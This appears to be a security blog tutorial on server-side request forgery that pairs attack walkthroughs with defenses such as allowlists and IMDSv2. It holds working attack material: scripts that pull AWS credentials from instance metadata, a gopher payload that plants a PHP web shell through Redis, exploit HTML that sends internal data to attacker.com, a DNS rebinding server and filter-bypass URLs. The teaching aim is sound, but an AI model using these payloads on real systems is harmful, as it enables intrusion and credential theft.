Skip to main content

66. Complete SSRF Guide: Turning a Server Against Itself

TL;DR: Server-Side Request Forgery (SSRF) is a vulnerability that makes a server send requests to arbitrary URLs chosen by an attacker. It can enable access to internal networks, theft of cloud metadata, port scanning, and other attacks.

What is SSRF?​

SSRF occurs when a server fetches an external resource and the user can control its URL.

Vulnerable code example​

from flask import Flask, request
import requests

app = Flask(__name__)

@app.route('/fetch')
def fetch_url():
url = request.args.get('url')
response = requests.get(url) # 💀 Requests raw user input!
return response.text

Usage examples:

# Normal use
curl "https://victim.com/fetch?url=https://example.com"

# Attack: access the internal network
curl "https://victim.com/fetch?url=http://localhost:6379"
curl "https://victim.com/fetch?url=http://192.168.1.100/admin"

Why is it dangerous?​

1. Access to internal networks​

A server usually sits behind a firewall and can reach internal services that are inaccessible from the Internet:

Internet → [Firewall] → Web server (vulnerable) → Internal DB/Redis/Admin panel
↑
Attacker controlled

2. Theft of cloud metadata​

In cloud environments such as AWS, GCP, and Azure, the instance metadata service can expose highly sensitive information:

# AWS EC2 metadata (169.254.169.254)
curl "https://victim.com/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/role-name"

Response:

{
"AccessKeyId": "ASIA...",
"SecretAccessKey": "wJal...",
"Token": "IQoJb3...",
"Expiration": "2026-03-03T06:30:00Z"
}

This can expose temporary AWS credentials and potentially allow access to cloud resources.

3. Port scanning and service fingerprinting​

Response times and error messages can reveal the structure of an internal network:

import requests
import time

for port in range(1, 1000):
start = time.time()
try:
requests.get(f"https://victim.com/fetch?url=http://192.168.1.10:{port}", timeout=2)
except:
pass
elapsed = time.time() - start

if elapsed < 1.5: # Fast response = possibly open port
print(f"Port {port} is OPEN")

Practical attack scenarios​

Scenario 1: stealing AWS IAM role credentials​

# Step 1: check whether the metadata API is reachable
url1 = "http://169.254.169.254/latest/meta-data/"
response = requests.get(f"https://victim.com/fetch?url={url1}")
print(response.text)
# Output: iam/, instance-id/, security-groups/ ...

# Step 2: identify the IAM role name
url2 = "http://169.254.169.254/latest/meta-data/iam/security-credentials/"
response = requests.get(f"https://victim.com/fetch?url={url2}")
role_name = response.text.strip()
print(f"Role: {role_name}")

# Step 3: retrieve credentials
url3 = f"http://169.254.169.254/latest/meta-data/iam/security-credentials/{role_name}"
response = requests.get(f"https://victim.com/fetch?url={url3}")
creds = response.json()

print(f"AccessKeyId: {creds['AccessKeyId']}")
print(f"SecretAccessKey: {creds['SecretAccessKey']}")
print(f"Token: {creds['Token']}")

# Step 4: test permissions with the AWS CLI
# export AWS_ACCESS_KEY_ID=...
# export AWS_SECRET_ACCESS_KEY=...
# export AWS_SESSION_TOKEN=...
# aws s3 ls # List S3 buckets

Scenario 2: Redis RCE (CVE-2022-0543)​

If Redis runs unauthenticated on an internal network:

# Identify a Redis server
curl "https://victim.com/fetch?url=http://192.168.1.100:6379"

# Send Redis commands through the Gopher protocol
# 1. Write a web shell through Redis
payload = """
*3
$3
SET
$8
webshell
$50
<?php system($_GET['cmd']); ?>
*4
$6
CONFIG
$3
SET
$3
dir
$13
/var/www/html
*4
$6
CONFIG
$3
SET
$10
dbfilename
$9
shell.php
*1
$4
SAVE
"""

# URL-encode the payload
import urllib.parse
encoded = urllib.parse.quote(payload.replace('\n', '\r\n'))
gopher_url = f"gopher://192.168.1.100:6379/_{encoded}"

curl "https://victim.com/fetch?url={gopher_url}"

This creates /var/www/html/shell.php, resulting in RCE if all stated preconditions hold.

Scenario 3: PDF generator SSRF​

SSRF can occur when a PDF-generation service converts HTML to PDF:

<!-- exploit.html -->
<html>
<body>
<iframe src="http://169.254.169.254/latest/meta-data/iam/security-credentials/"></iframe>
<img src="http://admin.internal/secret-api?token=XXXX">
<script>
fetch('http://192.168.1.50:8080/admin')
.then(r => r.text())
.then(data => {
// exfiltrate data
fetch('https://attacker.com/log?data=' + btoa(data));
});
</script>
</body>
</html>
curl -X POST https://victim.com/convert-to-pdf \
-d '{"html_url": "https://attacker.com/exploit.html"}'

The resulting PDF may render metadata or internal pages.

Bypass techniques​

1. Exploiting URL-parsing differences​

Many blacklist filters use simple string matching:

# Vulnerable filter
def is_safe_url(url):
blacklist = ['localhost', '127.0.0.1', '169.254.169.254']
return not any(bad in url for bad in blacklist)

Potential bypasses to include in authorized regression tests:

# 1. Letter case
http://LocalHost/

# 2. IP encodings
http://127.1/ # Equivalent to 127.0.0.1
http://2130706433/ # 0x7F000001 in decimal
http://0x7f.0x0.0x0.0x1/ # Hexadecimal

# 3. DNS rebinding
http://spoofed.burpcollaborator.net/ # Configure DNS to answer with 127.0.0.1

# 4. Redirect chain
http://attacker.com/redirect → 302 → http://169.254.169.254/

# 5. URL-parser confusion
http://google.com@127.0.0.1/ # user@host syntax
http://127.0.0.1#@google.com # fragment syntax

2. Protocol smuggling​

The fetcher may support protocols other than HTTP:

# Gopher (Redis, SMTP, FTP, and others)
gopher://192.168.1.100:6379/_SET%20key%20value

# File (read a local file)
file:///etc/passwd

# Dict (port scanning)
dict://192.168.1.100:22/

# LDAP (LDAP injection)
ldap://192.168.1.100:389/dc=example,dc=com

3. DNS rebinding​

An attacker-controlled DNS server can change its answer:

# dns_rebind.py
from dnslib import DNSRecord, RR, A
from dnslib.server import DNSServer

class RebindResolver:
def __init__(self):
self.counter = 0

def resolve(self, request, handler):
reply = request.reply()
qname = request.q.qname

# First request: public IP that passes the filter
if self.counter == 0:
reply.add_answer(RR(qname, rdata=A("1.2.3.4")))
# Second request: internal IP used by the attack
else:
reply.add_answer(RR(qname, rdata=A("169.254.169.254")))

self.counter += 1
return reply

# Start a DNS server on port 53
resolver = RebindResolver()
server = DNSServer(resolver, port=53, address="0.0.0.0")
server.start()

Usage:

curl "https://victim.com/fetch?url=http://evil.attacker.com/"
# The server resolves DNS: first answer is public 1.2.3.4
# A later request receives the internal address 169.254.169.254

Defenses​

1. Allowlist-based validation​

from urllib.parse import urlparse

ALLOWED_HOSTS = ['example.com', 'api.partner.com']

def is_safe_url(url):
try:
parsed = urlparse(url)

# Validate the protocol
if parsed.scheme not in ['http', 'https']:
return False

# Enforce the hostname allowlist
if parsed.hostname not in ALLOWED_HOSTS:
return False

return True
except:
return False

2. Network-level blocking​

import ipaddress
import socket

def is_private_ip(hostname):
try:
ip = socket.gethostbyname(hostname)
ip_obj = ipaddress.ip_address(ip)

# Block private and reserved IP addresses
if ip_obj.is_private or ip_obj.is_loopback or ip_obj.is_reserved:
return True

# Cloud metadata addresses
if ip == '169.254.169.254': # AWS/GCP/Azure
return True

return False
except:
return True # Treat DNS failure as suspicious

def fetch_url_safe(url):
parsed = urlparse(url)

# Revalidate immediately before the request to reduce DNS-rebinding risk
if is_private_ip(parsed.hostname):
raise ValueError("Private IP detected")

response = requests.get(url, timeout=5)
return response.text

3. Principle of least privilege​

# AWS IMDSv2 (session token required)
# /etc/cloud/cloud.cfg.d/99-imdsv2.cfg
datasource:
Ec2:
metadata_urls:
- http://169.254.169.254:80
timeout: 10
max_wait: 120

# Enable IMDSv2 (session token required)
aws ec2 modify-instance-metadata-options \
--instance-id i-1234567890abcdef0 \
--http-tokens required \
--http-put-response-hop-limit 1

IMDSv2 requires a two-step exchange:

# Step 1: request a session token with PUT
TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" \
-H "X-aws-ec2-metadata-token-ttl-seconds: 21600")

# Step 2: request metadata with the token
curl -H "X-aws-ec2-metadata-token: $TOKEN" \
http://169.254.169.254/latest/meta-data/

Many constrained SSRF primitives cannot send both a PUT request and a custom header, reducing exposure.

4. Response filtering​

def fetch_with_filtering(url):
response = requests.get(url, timeout=5)

# Detect sensitive keywords
sensitive_patterns = [
'AccessKeyId',
'SecretAccessKey',
'private_key',
'password',
]

content = response.text.lower()
for pattern in sensitive_patterns:
if pattern.lower() in content:
logger.warning(f"Sensitive data detected in SSRF response: {url}")
return "[REDACTED]"

return response.text

CTF and bug-bounty tips​

1. Common SSRF surfaces​

Frequently affected features include:

  • Image upload by URL
  • PDF or document converters
  • Webhook configuration
  • Proxy or tunnel services
  • RSS feed readers
  • URL preview or unfurling
  • QR-code generators

2. Testing checklist​

# Use Burp Collaborator or webhook.site
TEST_URL="https://YOUR_UNIQUE_ID.burpcollaborator.net"

# 1. Basic SSRF
?url=$TEST_URL

# 2. Internal addresses
?url=http://127.0.0.1:80
?url=http://localhost:80
?url=http://[::1]:80

# 3. Cloud metadata
?url=http://169.254.169.254/latest/meta-data/

# 4. Protocols
?url=file:///etc/passwd
?url=gopher://127.0.0.1:6379/_INFO

# 5. Redirects
?url=http://attacker.com/redirect.php

# 6. DNS rebinding
?url=http://rebind.attacker.com/

3. Detecting blind SSRF​

When no response is visible:

# Timing-based detection
import time

# 1. Open port (fast response)
start = time.time()
requests.get(f"https://victim.com/fetch?url=http://192.168.1.100:80", timeout=10)
open_time = time.time() - start

# 2. Closed port (slow response or timeout)
start = time.time()
requests.get(f"https://victim.com/fetch?url=http://192.168.1.100:12345", timeout=10)
closed_time = time.time() - start

if open_time < 2 and closed_time > 5:
print("Blind SSRF confirmed via timing!")

DNS-based detection:

# Burp Collaborator or Interactsh
?url=http://UNIQUE_ID.burpcollaborator.net

# A DNS log is evidence that the server performed a lookup

Real-world cases​

Case 1: Capital One breach (2019)​

  • SSRF led to EC2 metadata exposure.
  • Personal data belonging to more than 100 million people was compromised.
  • The attacker exploited an SSRF path involving a WAF misconfiguration.

Case 2: Google Cloud Shell (2020)​

  • SSRF was found in a PDF-generation feature.
  • The issue enabled access to an internal Kubernetes API.
  • The report received a $7,500 bug bounty.

Case 3: Uber bug bounty (2018)​

  • An image-upload feature had SSRF.
  • Internal-service scanning exposed a sensitive API.
  • The report received a reward of more than $5,000.

Conclusion​

SSRF looks simple but is very difficult to defend against correctly.

From an attacker's perspective:

  • Internal networks contain high-value targets.
  • SSRF is particularly dangerous in cloud environments.
  • Blind SSRF can still be useful.

From a defender's perspective:

  • Prefer narrow allowlists over broad blocklists.
  • Network segmentation is essential.
  • Apply current protections such as IMDSv2.

The next post covers time-based blind SQL injection exploitation.

Happy hacking! 🥞